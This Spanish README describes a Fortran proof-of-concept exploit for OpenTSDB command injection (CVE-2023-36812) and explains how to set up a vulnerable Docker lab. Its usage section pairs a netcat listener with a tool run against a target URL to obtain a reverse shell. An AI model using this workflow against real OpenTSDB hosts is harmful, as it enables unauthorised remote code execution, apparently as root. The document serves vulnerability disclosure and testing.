opentsdb_key_cmd_injection

Un exploit para OpenTSDB <= 2.4.1 con inyección de comandos (CVE-2023-36812/CVE-2023-25826) escrito en Fortran

Acerca de

Este es un exploit para una vulnerabilidad de inyección de comandos en OpenTSDB versiones 2.4.1 y anteriores (CVE-2023-36812/CVE-2023-25826). El exploit está escrito en Fortran moderno y utiliza la biblioteca oficial http-client de Fortran creada a principios de este año.

Detalles de la vulnerabilidad

OpenTSDB es una base de datos de series temporales de código abierto escrita en Java. En 2020, se descubrió una vulnerabilidad de inyección de comandos en las versiones 2.4.0 y anteriores que podía explotarse para obtener ejecución remota de código en el host con privilegios de root. Dado que OpenTSDB no admite autenticación, esta vulnerabilidad, rastreada como CVE-2020-35476, podía ser explotada por cualquier persona con acceso a la interfaz web de OpenTSDB. El problema se solucionó en la versión 2.4.1.

Este año se descubrió que el parche para CVE-2020-35476 estaba incompleto, y la inyección de comandos sigue siendo posible en OpenTSDB 2.4.1 a través de varios vectores.

Detalles:

• Rastreado como: CVE-2023-36812. Vale la pena señalar que CVE-2023-25826 parece describir la misma vulnerabilidad, y ambos CVE enlazan exactamente al mismo parche.
• Aviso de seguridad: https://github.com/OpenTSDB/opentsdb/security/advisories/GHSA-76f7-9v52-v2fw
• Crédito: Gal Goldstein y Daniel Abeles de Oxeye
• Parche: El parche se introducirá en la versión 2.4.2, que aún no es un lanzamiento oficial. Al momento de escribir esto, el lanzamiento más reciente de OpenTSDB es el 2.4.1, por lo que es probable que la mayoría de las instancias de OpenTSDB en producción sean vulnerables. Dicho esto, las FAQ de OpenTSDB enfatizan que este proyecto "fue escrito solo para uso interno" y "no ha pasado por ninguna revisión de seguridad y no incluye autenticación".

¿Por qué Fortran?

La versión corta es que vi esta conversación:

La idea de escribir un exploit en el lenguaje de programación utilizado para llevar personas a la luna me intrigó tanto que tuve que explorarlo yo mismo. Este exploit es el resultado de ese experimento. A la pregunta de si tuvo éxito, solo puedo responder con estas sabias, aunque malditas, palabras que unen a todos los desarrolladores en sangre: Funciona en mi máquina. ¯\(ツ)/¯

En cualquier caso, mis principales conclusiones de este proyecto son:

• Fortran es bastante interesante y sorprendentemente fácil de aprender.
• El ecosistema moderno de Fortran, incluido el gestor de paquetes fpm, muestra un gran potencial.
• Fortran es un lenguaje fuertemente tipado, y considero que eso es algo bueno porque encontré pocos errores desagradables en tiempo de ejecución.
• Los proyectos de Fortran con dependencias son grandes porque fpm incluye el código fuente de la dependencia directamente en tu proyecto. El beneficio es que evita la contaminación del sistema.
• El soporte de bibliotecas es relativamente limitado y caótico en comparación con los lenguajes modernos. Desafortunadamente, esto no solo afecta a la biblioteca http-client.
• Como era de esperar, es más difícil encontrar buena documentación y consejos para solucionar problemas que en la mayoría de los lenguajes de programación modernos, aunque todavía hay bastantes publicaciones útiles en StackOverflow y foros olvidados de principios de la década de 2000.
• Herramientas de IA como ChatGPT y GitHub Copilot son compañeros de codificación incluso menos confiables que en el caso de los lenguajes modernos.

En general, no es fácil imaginar que este lenguaje realmente gane relevancia en la seguridad ofensiva, aunque solo sea porque hay tantas alternativas sólidas y modernas para cualquier caso de uso imaginable (Python, Go, Rust, Ruby, C# por nombrar solo algunas). Pero si te gusta experimentar con diferentes lenguajes de programación y no te importa encapsular tus cadenas en llamadas trim() todo el tiempo (POR FAVOR, TOMA NOTA DE ESTO, TE AHORRARÁ MUCHO SUFRIMIENTO), Fortran definitivamente vale la pena echarle un vistazo. Sin ironía, ahora estoy apoyando este lenguaje y podría retomarlo si continúan agregando soporte a la biblioteca http-client, especialmente si en algún momento agregan una biblioteca http-server.

TL;DR: La biblioteca http-client de Fortran hace brr.

Uso

• Inicia un listener en tu sistema, por ejemplo:

nc -nlvp 1337

• En una ventana separada, navega al directorio opentsdb_key_cmd_injection

# cd /ruta/hacia/opentsdb_key_cmd_injection/

• Ejecuta el proyecto mediante fpm (asegúrate de instalarlo primero. Consulta las instrucciones de instalación en la siguiente sección)

# /ruta/hacia/fpm run -- -t <target_url> -l <lhost> -p <lport> [-v]

Opciones:

• -t - URL OBJETIVO: la URL base de OpenTSDB (obligatorio)
• -l - LHOST: la IP del sistema donde estás ejecutando un listener (obligatorio)
• -p - LPORT: el puerto del listener (obligatorio)
• -v - VERBOSE: habilita la impresión detallada (opcional)

Instalación

• Instala gfortran. En sistemas basados en Debian se puede hacer mediante:

apt install gfortran

• Instala fpm. La forma más sencilla es descargar un binario de la última versión estable desde los lanzamientos de fpm en GitHub y luego hacerlo ejecutable:

chmod +x /<ruta>/hacia/fpm

Asegúrate de tener git instalado en tu sistema antes de instalar fpm.

PoC || GTFO

https://github.com/ErikWynter/opentsdb_key_cmd_injection/assets/55885619/223e813e-9710-4193-98a1-ded2246567bf

Configuración de una instancia de OpenTSDB para pruebas

Instalación manual (no recomendada)

Para una instalación manual, puedes seguir las instrucciones oficiales de instalación aquí. Sin embargo, esto puede ser molesto, por lo que recomendaría usar Docker en su lugar.

Instalación con Docker (recomendada)

Para la versión 2.4.0, puedes usar la imagen Docker de vulnhub y seguir las instrucciones de instalación aquí. Esa imagen fue creada para CVE-2020-35476, una vulnerabilidad anterior en OpenTSDB hasta la versión 2.4.0.

Para la versión 2.4.1 y probablemente cualquier otra versión, podrías aprovechar la imagen de vulhub para OpenTSDB 2.4.0 y editarla para instalar la versión que desees. Seguí este enfoque para 2.4.1 y funcionó muy bien.

• Primero, obtén los archivos Dockerfile y docker-entrypoint.sh de vulhub para OpenTSDB 2.4.0 desde aquí y guárdalos en un directorio dedicado.
• En el Dockerfile, reemplaza todas las instancias de 2.4.0 con la versión deseada, por ejemplo 2.4.1.
• No son necesarias ediciones en docker-entrypoint.sh.
• Crea un archivo docker-compose.yml con el siguiente contenido:

version: '2'
services:
 opentsdb:
   build: ./ruta-hacia-tu-directorio-dockerfile
   ports:
    - "4242:4242"

Yo usé esta estructura de archivos:

wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter   86 Sep  1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep  1 10:54 docker_file